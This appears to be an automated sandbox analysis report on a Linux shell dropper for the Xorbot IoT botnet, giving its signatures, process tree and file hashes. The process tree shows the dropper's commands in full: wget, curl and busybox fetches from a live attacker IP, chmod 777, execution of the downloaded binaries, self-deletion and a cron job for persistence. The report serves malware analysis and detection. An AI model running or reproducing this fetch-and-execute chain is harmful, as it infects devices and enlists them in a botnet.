Analysis

  • max time kernel
    150s
  • max time network
    91s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    01-12-2024 20:18

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    bc7b6cc669c02f1b68444287a7bfa167

  • SHA1

    63f8dc11fc9104552991cb85032f5a929b7321ba

  • SHA256

    e75e254332c4d92525192f7fa2a0734b068e2e3e6a6878feb41ada773de6ada5

  • SHA512

    46744e2e1d1cf25913777f3bbc3e85e4a303db758e4dfd7e9d9e679aee0d08ba2b205fcdb839d37b6933aaa5d7d7b81aa52e257aaeb1400b2b105218d1ad75b2

  • SSDEEP

    192:e+b+H+f+O+++61RBogpdtREsk92oA4txZ1dVZBa6rvcoU6/n+1RBogjtRE/7+b+o:ecE+3T3dtREso11rvcoU6/n+tREDcE+N

Malware Config

Signatures

  • Detects Xorbot 6 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 6 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 5 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 16 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:663
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:666
        • /usr/bin/wget
          wget http://216.126.231.240/bins/UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w
          2⤵
          • Writes file to tmp directory
          PID:672
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • Writes file to tmp directory
          PID:686
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w
          2⤵
          • Writes file to tmp directory
          PID:696
        • /bin/chmod
          chmod 777 UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w
          2⤵
          • File and Directory Permissions Modification
          PID:698
        • /tmp/UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w
          ./UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w
          2⤵
          • Executes dropped EXE
          PID:699
        • /bin/rm
          rm UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w
          2⤵
            PID:701
          • /usr/bin/wget
            wget http://216.126.231.240/bins/BFJMF6ZGI1Yc76ZQHdl9ds8OWwUZvBa6Gw
            2⤵
            • Writes file to tmp directory
            PID:702
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/BFJMF6ZGI1Yc76ZQHdl9ds8OWwUZvBa6Gw
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:703
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/BFJMF6ZGI1Yc76ZQHdl9ds8OWwUZvBa6Gw
            2⤵
            • Writes file to tmp directory
            PID:708
          • /bin/chmod
            chmod 777 BFJMF6ZGI1Yc76ZQHdl9ds8OWwUZvBa6Gw
            2⤵
            • File and Directory Permissions Modification
            PID:712
          • /tmp/BFJMF6ZGI1Yc76ZQHdl9ds8OWwUZvBa6Gw
            ./BFJMF6ZGI1Yc76ZQHdl9ds8OWwUZvBa6Gw
            2⤵
            • Executes dropped EXE
            PID:714
          • /bin/rm
            rm BFJMF6ZGI1Yc76ZQHdl9ds8OWwUZvBa6Gw
            2⤵
              PID:716
            • /usr/bin/wget
              wget http://216.126.231.240/bins/k4F5gNlEomwbD2CUfi90R2pQnlh4JGFt49
              2⤵
              • Writes file to tmp directory
              PID:717
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/k4F5gNlEomwbD2CUfi90R2pQnlh4JGFt49
              2⤵
              • Checks CPU configuration
              • Reads runtime system information
              • Writes file to tmp directory
              PID:724
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/k4F5gNlEomwbD2CUfi90R2pQnlh4JGFt49
              2⤵
              • Writes file to tmp directory
              PID:731
            • /bin/chmod
              chmod 777 k4F5gNlEomwbD2CUfi90R2pQnlh4JGFt49
              2⤵
              • File and Directory Permissions Modification
              PID:734
            • /tmp/k4F5gNlEomwbD2CUfi90R2pQnlh4JGFt49
              ./k4F5gNlEomwbD2CUfi90R2pQnlh4JGFt49
              2⤵
              • Executes dropped EXE
              PID:736
            • /bin/rm
              rm k4F5gNlEomwbD2CUfi90R2pQnlh4JGFt49
              2⤵
                PID:738
              • /usr/bin/wget
                wget http://216.126.231.240/bins/GDfn8p8Iu161B4XrLITOxuB49ly0hufBrV
                2⤵
                • Writes file to tmp directory
                PID:740
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/GDfn8p8Iu161B4XrLITOxuB49ly0hufBrV
                2⤵
                • Checks CPU configuration
                • Reads runtime system information
                • Writes file to tmp directory
                PID:749
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/GDfn8p8Iu161B4XrLITOxuB49ly0hufBrV
                2⤵
                • Writes file to tmp directory
                PID:759
              • /bin/chmod
                chmod 777 GDfn8p8Iu161B4XrLITOxuB49ly0hufBrV
                2⤵
                • File and Directory Permissions Modification
                PID:763
              • /tmp/GDfn8p8Iu161B4XrLITOxuB49ly0hufBrV
                ./GDfn8p8Iu161B4XrLITOxuB49ly0hufBrV
                2⤵
                • Executes dropped EXE
                PID:764
              • /bin/rm
                rm GDfn8p8Iu161B4XrLITOxuB49ly0hufBrV
                2⤵
                  PID:766
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/xcJpLPn7ugmH9t08uLYyRbE0hlpkbwrXeH
                  2⤵
                  • Writes file to tmp directory
                  PID:767
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/xcJpLPn7ugmH9t08uLYyRbE0hlpkbwrXeH
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:771
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/xcJpLPn7ugmH9t08uLYyRbE0hlpkbwrXeH
                  2⤵
                  • Writes file to tmp directory
                  PID:772
                • /bin/chmod
                  chmod 777 xcJpLPn7ugmH9t08uLYyRbE0hlpkbwrXeH
                  2⤵
                  • File and Directory Permissions Modification
                  PID:777
                • /tmp/xcJpLPn7ugmH9t08uLYyRbE0hlpkbwrXeH
                  ./xcJpLPn7ugmH9t08uLYyRbE0hlpkbwrXeH
                  2⤵
                  • Executes dropped EXE
                  • Renames itself
                  • Reads runtime system information
                  PID:778
                  • /bin/sh
                    sh -c "crontab -l"
                    3⤵
                      PID:780
                      • /usr/bin/crontab
                        crontab -l
                        4⤵
                          PID:781
                      • /bin/sh
                        sh -c "crontab -"
                        3⤵
                          PID:783
                          • /usr/bin/crontab
                            crontab -
                            4⤵
                            • Creates/modifies Cron job
                            • Reads runtime system information
                            PID:785
                      • /bin/rm
                        rm xcJpLPn7ugmH9t08uLYyRbE0hlpkbwrXeH
                        2⤵
                          PID:789
                        • /usr/bin/wget
                          wget http://216.126.231.240/bins/EAebvWCwR60g2B9eb3rAfAR7uJuGKqta4N
                          2⤵
                            PID:792
                          • /usr/bin/curl
                            curl -O http://216.126.231.240/bins/EAebvWCwR60g2B9eb3rAfAR7uJuGKqta4N
                            2⤵
                              PID:795
                            • /bin/busybox
                              /bin/busybox wget http://216.126.231.240/bins/EAebvWCwR60g2B9eb3rAfAR7uJuGKqta4N
                              2⤵
                              • Writes file to tmp directory
                              PID:796
                            • /bin/chmod
                              chmod 777 EAebvWCwR60g2B9eb3rAfAR7uJuGKqta4N
                              2⤵
                              • File and Directory Permissions Modification
                              PID:801
                            • /tmp/EAebvWCwR60g2B9eb3rAfAR7uJuGKqta4N
                              ./EAebvWCwR60g2B9eb3rAfAR7uJuGKqta4N
                              2⤵
                              • Executes dropped EXE
                              PID:803
                            • /bin/rm
                              rm EAebvWCwR60g2B9eb3rAfAR7uJuGKqta4N
                              2⤵
                                PID:804
                              • /usr/bin/wget
                                wget http://216.126.231.240/bins/2xbZFR4t6mubi9o4s7nU5m2ePVoZ7muU7l
                                2⤵
                                  PID:806

                              Network

                              MITRE ATT&CK Enterprise v15

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              • /tmp/BFJMF6ZGI1Yc76ZQHdl9ds8OWwUZvBa6Gw

                                Filesize

                                117KB

                                MD5

                                849fa04ef88a8e8de32cb2e8538de5fe

                                SHA1

                                c768af29fe4b6695fff1541623e8bbd1c6f242f7

                                SHA256

                                8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                                SHA512

                                2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                              • /tmp/EAebvWCwR60g2B9eb3rAfAR7uJuGKqta4N

                                Filesize

                                127KB

                                MD5

                                89077b7bd4bcafca7713be43635c4862

                                SHA1

                                fc02edb8fba29ea8ee99e6157ef8560334530052

                                SHA256

                                78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                                SHA512

                                1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                              • /tmp/GDfn8p8Iu161B4XrLITOxuB49ly0hufBrV

                                Filesize

                                98KB

                                MD5

                                5141342d0df8699fa32a6b066a0c592e

                                SHA1

                                8157673225bd5182f16215e2aa823a25ca2d4fbc

                                SHA256

                                54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                                SHA512

                                d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                              • /tmp/UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w

                                Filesize

                                112KB

                                MD5

                                05d7857dcead18bbd86d2935f591873c

                                SHA1

                                34d18f41ef35f93d5364ce3e24d74730a4e91985

                                SHA256

                                2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                SHA512

                                d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                              • /tmp/k4F5gNlEomwbD2CUfi90R2pQnlh4JGFt49

                                Filesize

                                99KB

                                MD5

                                9438d9bc392bcf300a5583b6df5bc8f6

                                SHA1

                                375a6ae34b516f6f3eeea8030c4084f585017efa

                                SHA256

                                68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                                SHA512

                                1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                              • /tmp/xcJpLPn7ugmH9t08uLYyRbE0hlpkbwrXeH

                                Filesize

                                119KB

                                MD5

                                1b166b95f9cb4b079ef1b9ec8363ddf3

                                SHA1

                                0d8eb08add467b3b5474f9b25909297fe7c2839c

                                SHA256

                                94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                                SHA512

                                983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                              • /var/spool/cron/crontabs/tmp.j7UjVP

                                Filesize

                                210B

                                MD5

                                a1e2cbd4cf67afc333818410396f2140

                                SHA1

                                ea10a6f8bcc33846ea7e182b6bee34b653bd7025

                                SHA256

                                156edfe110d2120332fc90e21d18a654ee56519738cc196e9b57502deb842c26

                                SHA512

                                f4419a28e11cdf6432a93096667d80f440dd7207284f9a709481e8b91aba0174d2d176d5021bf204663e18db5db8f60a64ebadf844d7e31b6a2809e71412cbae